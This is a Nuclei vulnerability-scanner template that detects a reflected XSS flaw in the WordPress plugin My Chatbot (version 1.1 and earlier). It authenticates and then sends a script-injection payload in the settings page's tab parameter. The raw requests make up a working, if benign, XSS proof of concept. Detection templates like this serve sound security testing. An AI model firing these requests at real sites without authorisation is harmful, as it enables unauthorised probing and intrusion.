nuclei-templates/vulnerabilities/wordpress/my-chatbot-xss.yaml

id: my-chatbot-xss

info:
  name: My Chatbot <= 1.1 - Reflected Cross-Site Scripting (XSS)
  author: dhiyaneshDk
  severity: medium
  description: The plugin does not sanitise or escape its tab parameter in the Settings page before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue.
  reference: https://wpscan.com/vulnerability/c0b6f63b-95d1-4782-9554-975d6d7bbd3d
  tags: wordpress,wp-plugin,xss,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=my-chatbot&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200